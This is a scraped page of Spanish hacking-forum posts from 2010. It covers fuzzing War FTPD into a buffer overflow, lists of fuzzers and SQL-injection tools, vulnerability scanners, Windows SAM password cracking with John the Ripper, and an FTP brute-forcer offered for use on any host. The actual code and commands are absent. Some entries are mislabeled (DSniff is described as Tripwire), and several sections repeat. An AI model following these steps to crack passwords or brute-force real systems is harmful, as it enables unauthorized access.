[idea] Felicitaciones!! ya estas en condiciones de comenzar a realizar testear algunas aplicaciones y protocolos!, que ¿como haces esto? bien... la verdad es que la respuesta acuanto tus conocimientos de lenguajes de programación, protocolos, networking y seguridad, pero para no decepcionarte vamos a descargar un viejo programa FTP muy conocido por su popularidad y por la existencia de algunos Buffer Overflows encontrados en algunas de sus versiones, en particular en la 1.65, se trata de War FTP Daemon
Descargar War FTPD Daemon 1.65No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[idea] Ok, te diré lo que haremos ahora para poder probar la efectividad de Fuzzer 1.1 en la detección de posibles bugs en el software... Descargado e instalado este servidor FTP(Setup.exe), procederemos a ejecutarlo (war-ftpd.exe). Luego de dar OK en la pantalla de bienvenida, nos encargaremos de que el servicio FTP se ponga a correr... para esto, deberemos hacer click en el icono ilustrado con un rayo
Ya es hora, abriremos ahora una nueva ventana de comando (CMD.EXE), ingresaremos al directorio donde hayamos instalado el Fuzzer, y procederemos a ejecutarlo con la siguiente línea de comando:
[idea] Perfecto, luego de dar entrada a esta línea, Fuzzer se pondrá a trabajar creando y enviando paquetes, para luego evaluar su resultado .
[idea] Ahora bien, puesto que el software que estamos testeando tiene un bug (Reportado y reparado hace mucho tiempo ya...) llegara un momento donde Fuzzer hará que WarFTPD se cierre inesperadamente, para luego anunciar un mensaje en pantalla en donde podrás leer:
[idea] Ahora Analizamos la Informacion que nos Entrega Fuzzer 1.1 .
[idea] Ahora si nos Damos Cuenta en un inicio del Analisis.
Please enter your user name.: Como nos muestra en todo el analisis, empieza a verificar si puede producirse un buffer overflow por la cantidad de caracteres en el user o password, y empieza a chequear cuantos, caracteres nececita para poder provocar esta vulnerabilidad.
Luego Detecta una Vulnerabilidad, por la cantidad de caracteres introducidos en el username. alrededor de 1000 caracteres.
[idea] Tambien navegando por Internet encontre informacion que confirmo mi analisis sobre el Fuzzer.
[idea] Esta vulnerabilidad fuese tenido alguna utilidad hace 9 años, porque fue descubierto en 1998, busque y busque y no encontre un exploit, con conocimiento basico sobre perl se pudo codear este exploit, lo cual hago mension aqui, es mi primer exploit, aunque no tiene ninguna utilidad para explotar algun ordenador que este corriendo este servicio, pero si de uso educacional.
Una ves Analizado el Resultado del Fuzzer, y respaldado por el Bugtraq, ahora podemos crear nuestro exploit.
Exploit War FTPD 1.65 Buffer Overflow By OzX [Perl]
Bueno Aqui les Dejo un Video en donde Demuestra que el Exploit Funciona a la Perfeccion.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[idea] Saludos, y Ojala que entiendan mi Adaptacion, la creacion del Exploit y todo lo demas, la siguiente semana lo volvere a revisar para seguir expandiendolo ya que el tema da para mucho mas,tambien para que se paresca menos al paper original y se expanda, aunque de forma de introduccion es bastante bueno.
Propiedad de No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
#14
Bugs y Exploits / Que es un FUZZER y para que sirve
Febrero 25, 2010, 11:54:47 AM
Herramientas de seguridad
Un fuzzer es un programa que intenta descubrir vulnerabilidades de seguridad enviando una entrada arbitraria a una aplicacion. Si el programa contiene una vulnerabilidad que puede conducir a una excepción, el choque o el error de servidor (en el caso de web apps), puede ser determinado que una vulnerabilidad ha sido descubierta. Fuzzers a menudo son llamados Inyectores de Falta por esta razón, ellos generan faltas y les envían a una aplicacion. Generalmente los fuzzers están bien para el encuentro de buffer overflow, DoS, SQL Injection, XSS, y bugs Format String . Ellos hacen un trabajo pobre en el encuentro de vulnerabilidades relacionada con el descubrimiento de la información, defectos de cifrado y cualquier otra vulnerabilidad que no hace que el programa se estrelle.
Contra lo que pueda parecer, el sistema no es nuevo. Fuzz, desarrollado en 1990 por Barton Miller en la Universidad de Wisconsin en Madison, pasa por ser el primer fuzzer, pero hoy en día se cuentan por decenas los programas de este tipo, utilizados generalmente en tests de penetración...
Pero, ¿cuál es la efectividad de los fuzzers contra los navegadores web? Sencillamente extraordinaria. Por poner un ejemplo, en pocas semanas H.D. Moore (investigador de seguridad creador y responsable del Metasploit Project), asegura haber encontrado cientos de formas de colgar Internet Explorer, y en menor medida el resto de navegadores.
La siguiente es una lista de programas fuzzers con una breve explicacion:
* (L)ibrary (E)xploit API - lxapi
Una coleccion de Scripts en python para fuzzing
Mangle
Un fuzzer para generar etiquetas de HTML impares, esto también autolanzará un navegador. El programa encontró el infame IFRAME IE bug.
SPIKE - Una colección de muchos fuzzers de Inmunidad. Usado para encontrar el reciente remoto RDP kernel DoS against a firewalled XP SP2, y muchos otros.
PROTOS WAP - Un fuzzer del proyecto PROTOS para fuzzing WAP
PROTOS HTTP-reply - Otro fuzzer de los tipos PROTOS para ataque/ respuestas de HTTP, útiles para broswer vulns.
PROTOS LDAP - Para fuzzing LDAP, no tan acertado como los demás del proyecto PROTOS
PROTOS SNMP - Clasico SNMP fuzzer, encontrando una vuln en casi cada engranaje conectado a una red disponible en el tiempo (2002).
PROTOS SIP - Para fuzzing a todos aquellos nuevos dispositivos de VOIP SIP que usted ve por todas partes.
PROTOS ISAKMP - Para atacar implementaciones IPSec.
RIOT & faultmon - Para atacar protocolos de texto simples (Telnet, HTTP, SMTP). Usado por Riley Hassell cuando él trabajó en eEye para descubrir el IIS .printer overflow e incluido en The Shellcoder's Handbook.
SPIKE Proxy - Un semi-funcional web fuzzer del Inmunidad que trajo el original SPIKE
Tag Brute Forcer - Fuzzer imponente de Drew Copley de eEye para atacar ActiveX en uso. Usado para encontrar un manojo de bugs en IE, incluyendo unos realmente poderosos para alcanzar heap overflows.
FileFuzz - Un formato de archivo fuzzer para PE (windows) binarios de iDefense. Tiene bonito GUI. Recientemente usado para encontrar bugs en Word.
SPIKEFile - Un formato de archivo fuzzer para ataque ELF (Linux) binarios de iDefense. Basado en SPIKE
notSPIKFile - Un ELF fuzzer estrechamente relacionado con FileFuzz, en vez de usar SPIKE como un punto de partida.
Screaming Cobra -El nombre hace al fuzzer parecer mejor de lo que realmente es, pero está bien para encontrar bugs CGI. También,es un perl script fácil de modificar o extenderse.
WebFuzzer -Un fuzzer para (adivina qué?) web app vulns.
eFuzz - Un fuzzer para el protocolo generico TCP/IP. Fácil de usar, pero tal vez no tan destacado como otros de esta lista.
Peach Fuzzer - Gran fuzzer escrito por Michael Eddington. Este Fuzzer es más un marco para construir otros fuzzers.
Fuzz - El ORIGINAL fuzzer desarrollado por Dr. Barton Miller que fue el Alma Matter, de la University of Wisconsin-Madison en 1990.
Fuzzball2 un pequeño fuzzer para TCP e IP. Esto envía un manojo de paquetes más o menos falsos a la host de su eleccion.
Fuzzer version 1.1 es una herramienta para fuzzing de multiple protocolo escrita en python.Esto puede ser usado encontrar SQL injection, format string, buffer overflow, directory traversal, y otras vulnerabilidades.
Scratch es un destructor de protocolo avanzado ("fuzzer") que rutinariamente puede encontrar una amplia variedad de vulnerabilidades de un paquete simple. El programa hace el análisis de complejos archivos binarios. También viene con un marco para protocolos fuzzing binarios como SSL Y SMB.
* Nessus
Auditor de Seguridad Remoto. El cliente "The Nessus Security Scanner" es una herramienta de auditoría de seguridad. Hace posible evaluar módulos de seguridad intentando encontrar puntos vulnerables que deberían ser reparados. Está compuesto por dos partes: un servidor, y un cliente. El servidor/daemon, "nessusd" se encarga de los ataques, mientras que el cliente, "nessus", se ocupa del usuario por medio de una linda interfaz para X11/GTK+. Este paquete contiene el cliente para GTK+1.2, que además existe en otras formas y para otras platarformas.
* Netcat
Una navaja multiuso para TCP/IP. Una utilidad simple para Unix que lee y escribe datos a través de conexiones de red usando los protocolos TCP o UDP. Está diseñada para ser una utilidad del tipo "back-end" confiable que pueda ser usada directamente o fácilmente manejada por otros programas y scripts. Al mismo tiempo, es una herramienta rica en características útil para depurar (debug) y explorar, ya que puede crear casi cualquier tipo de conexión que puedas necesitar y tiene muchas características incluídas.
Tcpdump
Una poderosa herramienta para el monitoreo y la adquisición de datos en redes. Este programa te permite volcar (a un archivo, la pantalla,etc.) el tráfico que presenta una red. Puede ser usado para imprimir los encabezados de los paquetes en una interfaz de red ("network interface") que concuerden con una cierta expresión. Se puede usar esta herramienta para seguir problemas en la red, para detectar "ping attacks" o para monitorear las actividades de una red.
* Snort
un Sniffer/logger de paquetes flexible que detecta ataques. Snort está basado en la biblioteca `libpcap' y puede ser usado como un "sistema de detección de intrusiones" (IDS) de poco peso. Posee un registro basado en reglas y puede buscar/identificar contenido además de poder ser usado para detectar una gran variedad de otros ataques e investigaciones (probes), como buffer overflows, barridos de puertos indetectables (stealth port scans), ataques CGI, pruebas de SMB (SMB probes), y mucho más. Otra característica importante de Snort es la capacidad de alertar en tiempo real, siendo estas alertas enviadas a syslog, un archivo de alerta separado o incluso a una computadora con Windows a través de Samba.
* Ethereal
Ethereal es un analizador de tráfico de redes, o "sniffer" para Unix y Sistemas operativos del tipo Unix. usa GTK+, una biblioteca de interfaz gráfica para el usuario (GUI), y libcap, una bliblioteca que facilita la captura y el filtrado de paquetes.
* Whisker
El excelente escáner de vulnerabilidades en CGI de Rain.Forest.Puppy.
* Abacus Portsentry
Este demonio de detección de barrido de puertos tiene la habilidad de detectar estos barridos (incluyendo "stealth scans") en las interfaces de red de tu máquina. Como medida de alarma, puede bloquear al atacante por medio de "hosts.deny", bloqueando el ruteo hacia la máquina hostil o por medio de reglas de firewall. Es parte del set de programas "Abacus". Nota: Si no tenés idea de qué es una port/stealth scan, te recomiendo darte una vuelta por Psionic antes de instalar este paquete. De otra forma, podrías fácilmente bloquear cualquier host que no deberías. (por ej. tu servidor de NFS, tu servidor de DNS, etc.)
* DSniff
Un comprobador de integridad de archivos y directorios. Tripwire es una herramienta que ayuda a administradores y usuarios de sistemas monitoreando alguna posible modificación en algún set de archivos. Si se usa regularmente en los archivos de sistema (por ej. diariamente), Tripwire puede notificar a los administradores del sistema, si algún archivo fue modificado o reemplazado, para que se puedan tomar medidas de control de daños a tiempo.
* Hping2
hping2 es una herramienta de red capaz de enviar paquetes ICMP/UDP/TCP hechos a medida y de mostrar las respuestas del host destino de la misma manera en la que lo hace la herramienta `ping' los las respuestas de ICMP. Puede manejar fragmentación y tamaños y cuerpo arbitrarios de paquetes; además puede ser utilizado para transferir archivo usando protocolos soportados. Al usar hping2, se puede: evaluar el desempeño de la red utilizando diferentes protocolos, tamaños de paquetes, TOS (type of service, o sea, tipo de servicio), y fragmentación; realizar descubrimiento de camino utilizando el campo MTU (onda traceroute); transferir archivos (incluso ante reglas de firewall muy fascistas); realizar funciones al estilo `traceroute' pero bajo diferentes protocolos; detección remota de OS (`remote OS fingerprinting'); auditar una implementación de TCP/IP (`TCP/IP stack') en particular; etc. hping2 es una buena herramienta para aprender acerca de TCP/IP.
* SARA
El Asistente de Investigación para el Auditor de Seguridad (Security Auditor's Research Assistant) es una herramienta de análisis de seguridad de tercera generación que está basada en el modelo de SATAN y distribuída bajo una licencia del estilo de la GNU GPL. Promueve un ambiente colaborativo y es actualizada periódicamente para tener en cuenta las últimas amenazas.
* Sniffit
Una herramienta de monitoreo y "packet sniffer" para paquetes de TCP/UDP/ICMP. sniffit es capaz de dar información técnica muy detallada acerca de estos paquetes (SEC, ACK, TTL, Window, ...) pero también los contenidos de los paquetes en diferentes formatos (hex o puro texto, etc.).
* IPFilter
IP Filter es un filtro de paquetes de TCP/IP, adaptable para uso en un ambiente de firewall. Puede ser utilizado como una módulo de kernel o incorporado en tu kernel de UNIX; es áltamente recomendable utilizarlo como un módulo de kernel. Viene junto con scripts para instalarlo y parchar archivos de sistema, si se require.
* Iptables/netfilter/ipchains/ipfwadm
Administradores de los filtros de paquetes de IP para kernels 2.4.X. iptables se usa para configurar, mantener e inspeccionar las tablas de reglas de filtrado de paquetes de IP en Linux. La herramienta iptables también soporta configuración de NAT (Network Address Translation) dinámica y estática.
* Firewalk
Firewalking es una técnica desarrollada por MDS y DHG que emplea técnicas del estilo de `traceroute' para determinar las reglas de filtrado que se están usando en un dispositivo de transporte de paquetes (NdelT: quise traducir "packet forwarding device"). La última versión de esta herramienta, fierwalk/GTK incluye la opción de usar una interfaz gráfica y nuevos arreglos a errores.
* Strobe
Un "clásico" escáner de puertos de TCP de alta velocidad.
* Jonh the Ripper
Una herramienta activa para crackear passwords. Útil para encontrar passwords débiles de tus usuarios.
* Ntop
Muestra la utilización de la red al estilo de la herramienta `top'. Muestra un sumario del uso de la red de las máquinas en ella en un formato que recuerda a la utilidad de unix `top'. También puede ser utilizada en un `web mode', que permite ver los resultados a través de un explorador de web.
Top 15 con las mejores tools o scanners de sql injection free.
* SQLIer
* SQLbftools
* SQL Injection Brute-forcer
* SQLBrute
* BobCat
* SQLMap
* Absinthe
* SQL Injection Pen-testing Tool
* SQID
* Blind SQL Injection Perl Tool
* SQL Power Injection
* FJ-Injector Framwork
* SQLNinja
* Automagic SQL Injector
* NGSS SQL Injector
[/b][/color]
FUENTE:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
VIDEO
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Un fuzzer es un programa que intenta descubrir vulnerabilidades de seguridad enviando una entrada arbitraria a una aplicacion. Si el programa contiene una vulnerabilidad que puede conducir a una excepción, el choque o el error de servidor (en el caso de web apps), puede ser determinado que una vulnerabilidad ha sido descubierta. Fuzzers a menudo son llamados Inyectores de Falta por esta razón, ellos generan faltas y les envían a una aplicacion. Generalmente los fuzzers están bien para el encuentro de buffer overflow, DoS, SQL Injection, XSS, y bugs Format String . Ellos hacen un trabajo pobre en el encuentro de vulnerabilidades relacionada con el descubrimiento de la información, defectos de cifrado y cualquier otra vulnerabilidad que no hace que el programa se estrelle.
Contra lo que pueda parecer, el sistema no es nuevo. Fuzz, desarrollado en 1990 por Barton Miller en la Universidad de Wisconsin en Madison, pasa por ser el primer fuzzer, pero hoy en día se cuentan por decenas los programas de este tipo, utilizados generalmente en tests de penetración...
Pero, ¿cuál es la efectividad de los fuzzers contra los navegadores web? Sencillamente extraordinaria. Por poner un ejemplo, en pocas semanas H.D. Moore (investigador de seguridad creador y responsable del Metasploit Project), asegura haber encontrado cientos de formas de colgar Internet Explorer, y en menor medida el resto de navegadores.
La siguiente es una lista de programas fuzzers con una breve explicacion:
* (L)ibrary (E)xploit API - lxapi
Una coleccion de Scripts en python para fuzzing
Mangle
Un fuzzer para generar etiquetas de HTML impares, esto también autolanzará un navegador. El programa encontró el infame IFRAME IE bug.
SPIKE - Una colección de muchos fuzzers de Inmunidad. Usado para encontrar el reciente remoto RDP kernel DoS against a firewalled XP SP2, y muchos otros.
PROTOS WAP - Un fuzzer del proyecto PROTOS para fuzzing WAP
PROTOS HTTP-reply - Otro fuzzer de los tipos PROTOS para ataque/ respuestas de HTTP, útiles para broswer vulns.
PROTOS LDAP - Para fuzzing LDAP, no tan acertado como los demás del proyecto PROTOS
PROTOS SNMP - Clasico SNMP fuzzer, encontrando una vuln en casi cada engranaje conectado a una red disponible en el tiempo (2002).
PROTOS SIP - Para fuzzing a todos aquellos nuevos dispositivos de VOIP SIP que usted ve por todas partes.
PROTOS ISAKMP - Para atacar implementaciones IPSec.
RIOT & faultmon - Para atacar protocolos de texto simples (Telnet, HTTP, SMTP). Usado por Riley Hassell cuando él trabajó en eEye para descubrir el IIS .printer overflow e incluido en The Shellcoder's Handbook.
SPIKE Proxy - Un semi-funcional web fuzzer del Inmunidad que trajo el original SPIKE
Tag Brute Forcer - Fuzzer imponente de Drew Copley de eEye para atacar ActiveX en uso. Usado para encontrar un manojo de bugs en IE, incluyendo unos realmente poderosos para alcanzar heap overflows.
FileFuzz - Un formato de archivo fuzzer para PE (windows) binarios de iDefense. Tiene bonito GUI. Recientemente usado para encontrar bugs en Word.
SPIKEFile - Un formato de archivo fuzzer para ataque ELF (Linux) binarios de iDefense. Basado en SPIKE
notSPIKFile - Un ELF fuzzer estrechamente relacionado con FileFuzz, en vez de usar SPIKE como un punto de partida.
Screaming Cobra -El nombre hace al fuzzer parecer mejor de lo que realmente es, pero está bien para encontrar bugs CGI. También,es un perl script fácil de modificar o extenderse.
WebFuzzer -Un fuzzer para (adivina qué?) web app vulns.
eFuzz - Un fuzzer para el protocolo generico TCP/IP. Fácil de usar, pero tal vez no tan destacado como otros de esta lista.
Peach Fuzzer - Gran fuzzer escrito por Michael Eddington. Este Fuzzer es más un marco para construir otros fuzzers.
Fuzz - El ORIGINAL fuzzer desarrollado por Dr. Barton Miller que fue el Alma Matter, de la University of Wisconsin-Madison en 1990.
Fuzzball2 un pequeño fuzzer para TCP e IP. Esto envía un manojo de paquetes más o menos falsos a la host de su eleccion.
Fuzzer version 1.1 es una herramienta para fuzzing de multiple protocolo escrita en python.Esto puede ser usado encontrar SQL injection, format string, buffer overflow, directory traversal, y otras vulnerabilidades.
Scratch es un destructor de protocolo avanzado ("fuzzer") que rutinariamente puede encontrar una amplia variedad de vulnerabilidades de un paquete simple. El programa hace el análisis de complejos archivos binarios. También viene con un marco para protocolos fuzzing binarios como SSL Y SMB.
* Nessus
Auditor de Seguridad Remoto. El cliente "The Nessus Security Scanner" es una herramienta de auditoría de seguridad. Hace posible evaluar módulos de seguridad intentando encontrar puntos vulnerables que deberían ser reparados. Está compuesto por dos partes: un servidor, y un cliente. El servidor/daemon, "nessusd" se encarga de los ataques, mientras que el cliente, "nessus", se ocupa del usuario por medio de una linda interfaz para X11/GTK+. Este paquete contiene el cliente para GTK+1.2, que además existe en otras formas y para otras platarformas.
* Netcat
Una navaja multiuso para TCP/IP. Una utilidad simple para Unix que lee y escribe datos a través de conexiones de red usando los protocolos TCP o UDP. Está diseñada para ser una utilidad del tipo "back-end" confiable que pueda ser usada directamente o fácilmente manejada por otros programas y scripts. Al mismo tiempo, es una herramienta rica en características útil para depurar (debug) y explorar, ya que puede crear casi cualquier tipo de conexión que puedas necesitar y tiene muchas características incluídas.
Tcpdump
Una poderosa herramienta para el monitoreo y la adquisición de datos en redes. Este programa te permite volcar (a un archivo, la pantalla,etc.) el tráfico que presenta una red. Puede ser usado para imprimir los encabezados de los paquetes en una interfaz de red ("network interface") que concuerden con una cierta expresión. Se puede usar esta herramienta para seguir problemas en la red, para detectar "ping attacks" o para monitorear las actividades de una red.
* Snort
un Sniffer/logger de paquetes flexible que detecta ataques. Snort está basado en la biblioteca `libpcap' y puede ser usado como un "sistema de detección de intrusiones" (IDS) de poco peso. Posee un registro basado en reglas y puede buscar/identificar contenido además de poder ser usado para detectar una gran variedad de otros ataques e investigaciones (probes), como buffer overflows, barridos de puertos indetectables (stealth port scans), ataques CGI, pruebas de SMB (SMB probes), y mucho más. Otra característica importante de Snort es la capacidad de alertar en tiempo real, siendo estas alertas enviadas a syslog, un archivo de alerta separado o incluso a una computadora con Windows a través de Samba.
* Ethereal
Ethereal es un analizador de tráfico de redes, o "sniffer" para Unix y Sistemas operativos del tipo Unix. usa GTK+, una biblioteca de interfaz gráfica para el usuario (GUI), y libcap, una bliblioteca que facilita la captura y el filtrado de paquetes.
* Whisker
El excelente escáner de vulnerabilidades en CGI de Rain.Forest.Puppy.
* Abacus Portsentry
Este demonio de detección de barrido de puertos tiene la habilidad de detectar estos barridos (incluyendo "stealth scans") en las interfaces de red de tu máquina. Como medida de alarma, puede bloquear al atacante por medio de "hosts.deny", bloqueando el ruteo hacia la máquina hostil o por medio de reglas de firewall. Es parte del set de programas "Abacus". Nota: Si no tenés idea de qué es una port/stealth scan, te recomiendo darte una vuelta por Psionic antes de instalar este paquete. De otra forma, podrías fácilmente bloquear cualquier host que no deberías. (por ej. tu servidor de NFS, tu servidor de DNS, etc.)
* DSniff
Un comprobador de integridad de archivos y directorios. Tripwire es una herramienta que ayuda a administradores y usuarios de sistemas monitoreando alguna posible modificación en algún set de archivos. Si se usa regularmente en los archivos de sistema (por ej. diariamente), Tripwire puede notificar a los administradores del sistema, si algún archivo fue modificado o reemplazado, para que se puedan tomar medidas de control de daños a tiempo.
* Hping2
hping2 es una herramienta de red capaz de enviar paquetes ICMP/UDP/TCP hechos a medida y de mostrar las respuestas del host destino de la misma manera en la que lo hace la herramienta `ping' los las respuestas de ICMP. Puede manejar fragmentación y tamaños y cuerpo arbitrarios de paquetes; además puede ser utilizado para transferir archivo usando protocolos soportados. Al usar hping2, se puede: evaluar el desempeño de la red utilizando diferentes protocolos, tamaños de paquetes, TOS (type of service, o sea, tipo de servicio), y fragmentación; realizar descubrimiento de camino utilizando el campo MTU (onda traceroute); transferir archivos (incluso ante reglas de firewall muy fascistas); realizar funciones al estilo `traceroute' pero bajo diferentes protocolos; detección remota de OS (`remote OS fingerprinting'); auditar una implementación de TCP/IP (`TCP/IP stack') en particular; etc. hping2 es una buena herramienta para aprender acerca de TCP/IP.
* SARA
El Asistente de Investigación para el Auditor de Seguridad (Security Auditor's Research Assistant) es una herramienta de análisis de seguridad de tercera generación que está basada en el modelo de SATAN y distribuída bajo una licencia del estilo de la GNU GPL. Promueve un ambiente colaborativo y es actualizada periódicamente para tener en cuenta las últimas amenazas.
* Sniffit
Una herramienta de monitoreo y "packet sniffer" para paquetes de TCP/UDP/ICMP. sniffit es capaz de dar información técnica muy detallada acerca de estos paquetes (SEC, ACK, TTL, Window, ...) pero también los contenidos de los paquetes en diferentes formatos (hex o puro texto, etc.).
* IPFilter
IP Filter es un filtro de paquetes de TCP/IP, adaptable para uso en un ambiente de firewall. Puede ser utilizado como una módulo de kernel o incorporado en tu kernel de UNIX; es áltamente recomendable utilizarlo como un módulo de kernel. Viene junto con scripts para instalarlo y parchar archivos de sistema, si se require.
* Iptables/netfilter/ipchains/ipfwadm
Administradores de los filtros de paquetes de IP para kernels 2.4.X. iptables se usa para configurar, mantener e inspeccionar las tablas de reglas de filtrado de paquetes de IP en Linux. La herramienta iptables también soporta configuración de NAT (Network Address Translation) dinámica y estática.
* Firewalk
Firewalking es una técnica desarrollada por MDS y DHG que emplea técnicas del estilo de `traceroute' para determinar las reglas de filtrado que se están usando en un dispositivo de transporte de paquetes (NdelT: quise traducir "packet forwarding device"). La última versión de esta herramienta, fierwalk/GTK incluye la opción de usar una interfaz gráfica y nuevos arreglos a errores.
* Strobe
Un "clásico" escáner de puertos de TCP de alta velocidad.
* Jonh the Ripper
Una herramienta activa para crackear passwords. Útil para encontrar passwords débiles de tus usuarios.
* Ntop
Muestra la utilización de la red al estilo de la herramienta `top'. Muestra un sumario del uso de la red de las máquinas en ella en un formato que recuerda a la utilidad de unix `top'. También puede ser utilizada en un `web mode', que permite ver los resultados a través de un explorador de web.
Top 15 con las mejores tools o scanners de sql injection free.
* SQLIer
* SQLbftools
* SQL Injection Brute-forcer
* SQLBrute
* BobCat
* SQLMap
* Absinthe
* SQL Injection Pen-testing Tool
* SQID
* Blind SQL Injection Perl Tool
* SQL Power Injection
* FJ-Injector Framwork
* SQLNinja
* Automagic SQL Injector
* NGSS SQL Injector
[/b][/color]
FUENTE:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
VIDEO
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Bugs y Exploits / Scaner RFI and LFI by D4NB4R
Febrero 25, 2010, 11:52:46 AM
bue aki les dejo un scaner espero sirva
#16
Bugs y Exploits / Metasploit Framework 3.2
Febrero 25, 2010, 11:45:25 AM¿Qué es?
El Metasploit Framework es una plataforma de desarrollo para la creación de herramientas de seguridad y vulnerabilidades. El Framework es utilizado por profesionales de la seguridad de la red para realizar pruebas de vulnerabilidades, los administradores de sistemas para verificar las instalaciones de parches, los proveedores de productos para realizar pruebas de regresión, los investigadores y la seguridad en todo el mundo. El Framework está escrito en el lenguaje de programación Ruby e incluye componentes escritos en C y ensamblador.
¿Qué hace?
El Framework consta de herramientas, bibliotecas, módulos, y las interfaces de usuario. La función básica del Framework es un módulo lanzador, lo que permite al usuario configurar un módulo de explotar y poner en marcha en un sistema de destino. Si la explotación de éxito, la carga útil se ejecuta en el blanco y el usuario dispone de un depósito de interactuar con la carga útil.
El Metasploit Framework es una plataforma de desarrollo para la creación de herramientas de seguridad y vulnerabilidades. El Framework es utilizado por profesionales de la seguridad de la red para realizar pruebas de vulnerabilidades, los administradores de sistemas para verificar las instalaciones de parches, los proveedores de productos para realizar pruebas de regresión, los investigadores y la seguridad en todo el mundo. El Framework está escrito en el lenguaje de programación Ruby e incluye componentes escritos en C y ensamblador.
¿Qué hace?
El Framework consta de herramientas, bibliotecas, módulos, y las interfaces de usuario. La función básica del Framework es un módulo lanzador, lo que permite al usuario configurar un módulo de explotar y poner en marcha en un sistema de destino. Si la explotación de éxito, la carga útil se ejecuta en el blanco y el usuario dispone de un depósito de interactuar con la carga útil.
framework-3.2.exe (win32)No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
framework-3.2.tar.gz (unix)No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#17
Bugs y Exploits / Moe Multi-Scanner by Guason
Febrero 25, 2010, 11:42:42 AM
Guason ah terminado su multi-scanner in perl. Espero q les sirva.
Este scanea
RFI
XSS
LFI (No disponible)
Entre otras opciones permite el scaneo single (solo una web) o un file para mayor comodidad con varias webs
El resultado se obtiene en el disco C "c:/"
Aca el code
Good Bye y suerte a todos
Este scanea
RFI
XSS
LFI (No disponible)
Entre otras opciones permite el scaneo single (solo una web) o un file para mayor comodidad con varias webs
El resultado se obtiene en el disco C "c:/"
Aca el code
Good Bye y suerte a todos
#21
Bugs y Exploits / Scanner Inyeccion SQL en Perl
Febrero 25, 2010, 11:39:11 AMUso:
Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta numero de columnas archivo_guardar.txt -- -T -C
Citar-- = Comentarios
T= tablas
C=Columnas
Saludos =)
Fuente:IlegalIntrusion.net
#22
Bugs y Exploits / Crackeador HTPASSWD 0.1
Febrero 25, 2010, 11:35:56 AM- Ataque de diccionario
- BruteForce Numerico
- BruteForce Solo Letras
- Probar Toda la Tabla Ascii
- Rango Definido por Usuario
solo se le tiene que cambiar el cripto sistema (en vez de la función crypt usar md5, etc...).
#23
Bugs y Exploits / Crackear password de administrador en windows usando Backtrack 3
Febrero 25, 2010, 11:25:50 AM
Bueno se ke ya existe mucha info sobre esto, pero bueno un poco mas no hace daño a nadie.
Ademas este tuto va enfocado a los novatos, bueno espero ke les guste y perdonen si no pongo capturas pero lo hice de rapido, ademàs creo ke kedarà muy entendible apesar de no usar imagenes y pues cualkier duda pueden preguntar.
Herramientas:
1)Una pc con windows xp, funciona tmb para versiones mas viejitas, en vista la vdd no se si funcione pues no lo he probado pero me imagino ke si
2)Acceso fisico a la pc
3)Una distribucion de linux, en mi caso usarè mi buen amigo backtrack 3.
Uso backtrack xq ya trae muchas herramientas de crackeo instaladas pero da igual la ke usen
empezàmos por abrir una consola de bt3
y tecleamos lo sig:
en mi caso es hda1 pero en el de uds puede variar un poco, puede ser sda1, sda2, hda2, etc
y nos desplegarà algo como esto:
estos son los archivos ke tengo en mi pc, en mi disco duro C:/, obviamente en el de uds va a cambiar
procedemos a crear una carpeta:
Ahora ke ya estàmos dentro de /crack
ahora vamos a extraer la boot key y guardarla en un archivo .txt llamado bootkey.txt:
les tiene ke aparecer algo parecido a esto:
Ahora vamos a extraer el hash del archivo SAM y guardarlo como hash.txt:
Una vez hecho esto ya tenemos el contenido del archivo SAM que es donde se encuentran los passwords en hash.txt. ahora vamos a crackearlo.
para esto usarèmos un diccionario y john the ripper
necesitàmos tener el diccionario en la misma carpeta donde estàmos (crack)
recuerden ke un diccionario no es mas ke un archivo de texto ke contiene varias palabras (posibles passwords).
Bien una vez ke ya tenèmos el diccionario (words.txt) tecleamos lo sig para crackear el hash:
y nos darà el password del windows
recordèmos ke si el password no està en el diccionario, pues entonces es imposible crackearlo
por eso para ke este atake funcione necesitamos tener un buen diccionario
cualkier duda aki estoy
salu2
Fuente: Devilboy
Ademas este tuto va enfocado a los novatos, bueno espero ke les guste y perdonen si no pongo capturas pero lo hice de rapido, ademàs creo ke kedarà muy entendible apesar de no usar imagenes y pues cualkier duda pueden preguntar.
Herramientas:
1)Una pc con windows xp, funciona tmb para versiones mas viejitas, en vista la vdd no se si funcione pues no lo he probado pero me imagino ke si
2)Acceso fisico a la pc
3)Una distribucion de linux, en mi caso usarè mi buen amigo backtrack 3.
Uso backtrack xq ya trae muchas herramientas de crackeo instaladas pero da igual la ke usen
empezàmos por abrir una consola de bt3
y tecleamos lo sig:
en mi caso es hda1 pero en el de uds puede variar un poco, puede ser sda1, sda2, hda2, etc
y nos desplegarà algo como esto:
estos son los archivos ke tengo en mi pc, en mi disco duro C:/, obviamente en el de uds va a cambiar
procedemos a crear una carpeta:
Ahora ke ya estàmos dentro de /crack
ahora vamos a extraer la boot key y guardarla en un archivo .txt llamado bootkey.txt:
les tiene ke aparecer algo parecido a esto:
Ahora vamos a extraer el hash del archivo SAM y guardarlo como hash.txt:
Una vez hecho esto ya tenemos el contenido del archivo SAM que es donde se encuentran los passwords en hash.txt. ahora vamos a crackearlo.
para esto usarèmos un diccionario y john the ripper
necesitàmos tener el diccionario en la misma carpeta donde estàmos (crack)
recuerden ke un diccionario no es mas ke un archivo de texto ke contiene varias palabras (posibles passwords).
Bien una vez ke ya tenèmos el diccionario (words.txt) tecleamos lo sig para crackear el hash:
y nos darà el password del windows
recordèmos ke si el password no està en el diccionario, pues entonces es imposible crackearlo
por eso para ke este atake funcione necesitamos tener un buen diccionario
cualkier duda aki estoy
salu2
Fuente: Devilboy
#24
Bugs y Exploits / FTP Bruteforce Priv8 -(PHP)
Febrero 25, 2010, 11:25:29 AM
Esto es FTP Bruteforce. sólo cambiar el puerto $ host $ § usuario y el %% ADDMOREPASSESHERE puestos en la matriz y trabajará al 100% en todos los Hoster que tiene conexiones ftp habilitado.
---------------------------------------------------------
Salu2
